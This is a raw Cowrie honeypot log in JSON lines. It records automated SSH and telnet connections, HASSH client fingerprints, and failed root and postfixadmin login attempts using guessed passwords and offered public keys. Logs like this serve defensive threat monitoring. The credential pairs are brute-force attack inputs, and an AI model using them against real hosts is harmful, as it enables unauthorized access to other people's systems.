{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:10.215791Z","src_ip":"213.209.159.158","session":"d90f3736ab3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":61062,"dst_ip":"159.203.135.109","dst_port":22,"session":"c316a7686df6","protocol":"ssh","message":"New connection: 213.209.159.158:61062 (159.203.135.109:22) [session: c316a7686df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:10.309635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:12.397180Z","src_ip":"213.209.159.158","session":"c316a7686df6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:12.402614Z","src_ip":"213.209.159.158","session":"c316a7686df6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"letacla","message":"login attempt [root/letacla] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:22.026100Z","src_ip":"213.209.159.158","session":"c316a7686df6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:25.185423Z","src_ip":"213.209.159.158","session":"c316a7686df6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":57334,"dst_ip":"159.203.135.109","dst_port":22,"session":"57cd65eef1dd","protocol":"ssh","message":"New connection: 213.209.159.158:57334 (159.203.135.109:22) [session: 57cd65eef1dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:25.267314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:27.737668Z","src_ip":"213.209.159.158","session":"57cd65eef1dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:27.742048Z","src_ip":"213.209.159.158","session":"57cd65eef1dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":41240,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c68cd3fbd9d","protocol":"telnet","message":"New connection: 213.108.3.46:41240 (159.203.135.109:23) [session: 1c68cd3fbd9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:28.632594Z"}
{"eventid":"cowrie.session.closed","duration":0.01745891571044922,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:28.649964Z","src_ip":"213.108.3.46","session":"1c68cd3fbd9d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"rOOt123!","message":"login attempt [root/rOOt123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:37.129146Z","src_ip":"213.209.159.158","session":"57cd65eef1dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.4","message":"Connection lost after 15.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:40.685621Z","src_ip":"213.209.159.158","session":"57cd65eef1dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":37290,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d5341ef7cb5","protocol":"ssh","message":"New connection: 213.209.159.158:37290 (159.203.135.109:22) [session: 8d5341ef7cb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:40.782597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:42.872414Z","src_ip":"213.209.159.158","session":"8d5341ef7cb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:42.876707Z","src_ip":"213.209.159.158","session":"8d5341ef7cb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.237.147.156","src_port":12076,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2f3ea965d25","protocol":"ssh","message":"New connection: 104.237.147.156:12076 (10.17.0.5:22) [session: d2f3ea965d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:48.655310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:48.660467Z","src_ip":"104.237.147.156","session":"d2f3ea965d25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:48.668846Z","src_ip":"104.237.147.156","session":"d2f3ea965d25","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:94:08:e4:91:17:aa:c0:cd:eb:9d:fe:54:9c:4a:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAz3cVrER6Ulb9qBE+zP0OLZE4E8BwErPK7ILvTkuCBjW4oFt2fJH8JyLuaFRI86sqYiRL5dIZx6OIOFRDhxAk3/o5OmEzfatebjlpH8qiwlwwBpVv18nMDBOHpCE8xmyaewrjH4GQObM4iyfAONASMGs0jWUA+Kt5r5ZCSWD5X/2V5itEj5x3QB09kyo/zXh5gX9OWSlYo027xOmtFxAsm1fZR8d+NmpJElF0HtEwSUIzIDN+AkzJxOf0gfBUwigKHv5POXx/8vpTpTwPKOukDnmR4PpJ2tlDl0nEOeOI6E0xHwlwNiVTsP1jFRIouiEW1f/gu/IYtSJ3EA/1YCj7Ww==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:94:08:e4:91:17:aa:c0:cd:eb:9d:fe:54:9c:4a:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:48.693291Z","src_ip":"104.237.147.156","session":"d2f3ea965d25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:94:08:e4:91:17:aa:c0:cd:eb:9d:fe:54:9c:4a:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAz3cVrER6Ulb9qBE+zP0OLZE4E8BwErPK7ILvTkuCBjW4oFt2fJH8JyLuaFRI86sqYiRL5dIZx6OIOFRDhxAk3/o5OmEzfatebjlpH8qiwlwwBpVv18nMDBOHpCE8xmyaewrjH4GQObM4iyfAONASMGs0jWUA+Kt5r5ZCSWD5X/2V5itEj5x3QB09kyo/zXh5gX9OWSlYo027xOmtFxAsm1fZR8d+NmpJElF0HtEwSUIzIDN+AkzJxOf0gfBUwigKHv5POXx/8vpTpTwPKOukDnmR4PpJ2tlDl0nEOeOI6E0xHwlwNiVTsP1jFRIouiEW1f/gu/IYtSJ3EA/1YCj7Ww==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:48.697370Z","src_ip":"104.237.147.156","session":"d2f3ea965d25","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d8:71:46:9d:cb:8f:48:e5:01:dd:48:eb:21:62:95:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEAnYhpOKaTMAv2MpEVcv3kMelBfR6PiWEEt0TwVH6aqlY/au2l9w+oHE85yko/c7MuXZREtYxUWvjcmWZNzUum3XPKQqQLwvRIqfXuGw9c2xkkcDCbcftjNFFjXzsRLOjIFGoJ2zlYdnkifKrIlqAzNbJ3FWVSUCQt00msyIbjX1U=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d8:71:46:9d:cb:8f:48:e5:01:dd:48:eb:21:62:95:cc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:48.709323Z","src_ip":"104.237.147.156","session":"d2f3ea965d25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d8:71:46:9d:cb:8f:48:e5:01:dd:48:eb:21:62:95:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEAnYhpOKaTMAv2MpEVcv3kMelBfR6PiWEEt0TwVH6aqlY/au2l9w+oHE85yko/c7MuXZREtYxUWvjcmWZNzUum3XPKQqQLwvRIqfXuGw9c2xkkcDCbcftjNFFjXzsRLOjIFGoJ2zlYdnkifKrIlqAzNbJ3FWVSUCQt00msyIbjX1U=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:48.713086Z","src_ip":"104.237.147.156","session":"d2f3ea965d25","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:c8:4a:b3:12:52:02:97:65:d0:e5:77:d0:f3:73:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCqnVH/y03kdYbl7Tzs1a1fJphH8uZoPiD7ecLbXwlMZttnnneesARYBzFjbWK0o1rgHeUjFTTdtqhcfvuWouCSc4o4bKpJQjjG2WK/oHyfK+EtG/J5Q+bIgVMNJPcaQJeouY2k0X+5pY5H8hwgBrIOEA4cdMW9W1ZcnHfDgQfKeRNkLow4ixCvI4e1pr4K7NKlPDMHcg49sngEfgXWNmu6yqsPQ0/9frOnJNrOIRNVCr/wpGoXSd/USVtaXrYkRvLLyY7qHcwC+kBaFAdG81Y7fCmgf4XKoI+CJk+THTcmqTcMpd9/D3YgEFD6Boy4e9lk+LLedpt+CfpM1PyPKqT5tJeGpfjtHFqrkR8vSnzIIptt38YzPJE6omolIcWAUfV+R50Tn71pDTZAi1FnO8+02VkZC+j39mJVT7epxNyALQoA9l/p52KYwJZz+VtUs3sma/mcTTvgYapF8cV28mup8gN69VRsp8f0k1tLf8Qm4K9Hg+pgdDqHKZDDFmQ+7o2sPvnz9PDEUgqgt/1M6WHuXNEupuY41+SPsm8OB9X2Pgiz0TidfmSF+Ed1O06tXTcdctBWnu7d5CgBlN6E+meu6RInN7nptzW8oCJlj7lXym3bnsuzCn8RjBokLowV2rcaGzeZ3E46/Pamc2hE6j/cwVF21Itxjsitby7rJZSM8w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 95:c8:4a:b3:12:52:02:97:65:d0:e5:77:d0:f3:73:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:48.722672Z","src_ip":"104.237.147.156","session":"d2f3ea965d25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:c8:4a:b3:12:52:02:97:65:d0:e5:77:d0:f3:73:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCqnVH/y03kdYbl7Tzs1a1fJphH8uZoPiD7ecLbXwlMZttnnneesARYBzFjbWK0o1rgHeUjFTTdtqhcfvuWouCSc4o4bKpJQjjG2WK/oHyfK+EtG/J5Q+bIgVMNJPcaQJeouY2k0X+5pY5H8hwgBrIOEA4cdMW9W1ZcnHfDgQfKeRNkLow4ixCvI4e1pr4K7NKlPDMHcg49sngEfgXWNmu6yqsPQ0/9frOnJNrOIRNVCr/wpGoXSd/USVtaXrYkRvLLyY7qHcwC+kBaFAdG81Y7fCmgf4XKoI+CJk+THTcmqTcMpd9/D3YgEFD6Boy4e9lk+LLedpt+CfpM1PyPKqT5tJeGpfjtHFqrkR8vSnzIIptt38YzPJE6omolIcWAUfV+R50Tn71pDTZAi1FnO8+02VkZC+j39mJVT7epxNyALQoA9l/p52KYwJZz+VtUs3sma/mcTTvgYapF8cV28mup8gN69VRsp8f0k1tLf8Qm4K9Hg+pgdDqHKZDDFmQ+7o2sPvnz9PDEUgqgt/1M6WHuXNEupuY41+SPsm8OB9X2Pgiz0TidfmSF+Ed1O06tXTcdctBWnu7d5CgBlN6E+meu6RInN7nptzW8oCJlj7lXym3bnsuzCn8RjBokLowV2rcaGzeZ3E46/Pamc2hE6j/cwVF21Itxjsitby7rJZSM8w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:48.726458Z","src_ip":"104.237.147.156","session":"d2f3ea965d25","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:d8:48:b1:b7:77:cd:5d:4a:7d:c1:78:86:e0:30:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDnjXNjZvoFl3zo2JK/jH7trSs/0pvVVqWh8bl6hB0ej9/komgSX6uaN9yk0v4Q7M6J8NTrwzviIrriZxj6rZ9bTQNaYucafAaRaJTPJ2J3xrchwpsneVbNTtPAOhXIIShd7L/7+f2IwUtrEeKS1Q3ubDa/YxtXx579VMdzb0eVAtnbwRsx/9cvLzQc8jGmNAyTqkfowSgt6Q0iS3PkZ9RVbmAS+AGsguKZFstv92KJK9P79Qa74s5KyS+eyHTt79Ls28ArqQQ6ZZVla20S5S5NCVmBj9Z0B5/YseSGtm1a3PtK4SKO2TEgSgwcrCAGOI31Bdc1/ZzfDqCatwpsKlRwfQy3MeELNMPkp+2qqxiL9QZlu1W/1jo2aW4N5Vxm1iqMfpl0VLNLY54e2f1OS9gBIsCv7/IGYiNOUX6GZE3EcBehwitnhnHrC7JM+lKfRv2S0D9l6oVRygeKXDCOpT5Y4V8GQj6gmPVRrQ3UG6lhDs6Y3R7tsrXCb+75MX4rhTUbe9mBqWoC8h5851qkKJ5evqyFAWrpoXBQEAh12z6SSgc3BiMltmJWbO6E+w4db9UeYnygmISJHGNVLnPujCu+Zc+Ncenn4ibyBusrY8jowebkxQQKgfAzcCpdOD2psbQsG5nU3jATMXfac11If2nh8hqwiCErXy3XgSDe9Gg0uw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:d8:48:b1:b7:77:cd:5d:4a:7d:c1:78:86:e0:30:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:48.737586Z","src_ip":"104.237.147.156","session":"d2f3ea965d25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:d8:48:b1:b7:77:cd:5d:4a:7d:c1:78:86:e0:30:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDnjXNjZvoFl3zo2JK/jH7trSs/0pvVVqWh8bl6hB0ej9/komgSX6uaN9yk0v4Q7M6J8NTrwzviIrriZxj6rZ9bTQNaYucafAaRaJTPJ2J3xrchwpsneVbNTtPAOhXIIShd7L/7+f2IwUtrEeKS1Q3ubDa/YxtXx579VMdzb0eVAtnbwRsx/9cvLzQc8jGmNAyTqkfowSgt6Q0iS3PkZ9RVbmAS+AGsguKZFstv92KJK9P79Qa74s5KyS+eyHTt79Ls28ArqQQ6ZZVla20S5S5NCVmBj9Z0B5/YseSGtm1a3PtK4SKO2TEgSgwcrCAGOI31Bdc1/ZzfDqCatwpsKlRwfQy3MeELNMPkp+2qqxiL9QZlu1W/1jo2aW4N5Vxm1iqMfpl0VLNLY54e2f1OS9gBIsCv7/IGYiNOUX6GZE3EcBehwitnhnHrC7JM+lKfRv2S0D9l6oVRygeKXDCOpT5Y4V8GQj6gmPVRrQ3UG6lhDs6Y3R7tsrXCb+75MX4rhTUbe9mBqWoC8h5851qkKJ5evqyFAWrpoXBQEAh12z6SSgc3BiMltmJWbO6E+w4db9UeYnygmISJHGNVLnPujCu+Zc+Ncenn4ibyBusrY8jowebkxQQKgfAzcCpdOD2psbQsG5nU3jATMXfac11If2nh8hqwiCErXy3XgSDe9Gg0uw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:48.741528Z","src_ip":"104.237.147.156","session":"d2f3ea965d25","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:33:ca:ef:97:80:e0:4b:a2:c2:1e:10:de:2d:04:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDlIdauCTyBCzJLIUKtr3x/lYxTqDhPou3y4K+6r09wwe/f753QSCai8xck1BbNQuZVDZDudGfT3wPU49h/KnELgjDH2oCDidBVNZpEskBY94kAPeyrUfdjVUGz54F36k5sd+q8IbJ452oK3prw4ImBjnT+8UQy9VYLu8NHs1OSyk1jSfXyBnddghwFLqg55lmFiIklTFXZMgOuzADM17hK0RNxB2RntutiwRJ3dL84YMNNbnWbn4dJZnScmFFVRnK9Yp627amW0XYRn1L+oMLEWoEYii/+VfsgsubL/LMXu5s3J2JoP5m5f/rYEIFueuS5HCi+kSHwZmou0sm6qm4p","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:33:ca:ef:97:80:e0:4b:a2:c2:1e:10:de:2d:04:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:48.751180Z","src_ip":"104.237.147.156","session":"d2f3ea965d25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:33:ca:ef:97:80:e0:4b:a2:c2:1e:10:de:2d:04:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDlIdauCTyBCzJLIUKtr3x/lYxTqDhPou3y4K+6r09wwe/f753QSCai8xck1BbNQuZVDZDudGfT3wPU49h/KnELgjDH2oCDidBVNZpEskBY94kAPeyrUfdjVUGz54F36k5sd+q8IbJ452oK3prw4ImBjnT+8UQy9VYLu8NHs1OSyk1jSfXyBnddghwFLqg55lmFiIklTFXZMgOuzADM17hK0RNxB2RntutiwRJ3dL84YMNNbnWbn4dJZnScmFFVRnK9Yp627amW0XYRn1L+oMLEWoEYii/+VfsgsubL/LMXu5s3J2JoP5m5f/rYEIFueuS5HCi+kSHwZmou0sm6qm4p","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:48.756765Z","src_ip":"104.237.147.156","session":"d2f3ea965d25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:48.768541Z","src_ip":"104.237.147.156","session":"d2f3ea965d25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postfixadmin","password":"postfixadmin","message":"login attempt [postfixadmin/postfixadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:52.038604Z","src_ip":"213.209.159.158","session":"8d5341ef7cb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":18508,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c2642c6aef5","protocol":"ssh","message":"New connection: 87.251.64.176:18508 (10.17.0.5:22) [session: 3c2642c6aef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:53.148417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:53.152904Z","src_ip":"87.251.64.176","session":"3c2642c6aef5","protocol":"ssh"}
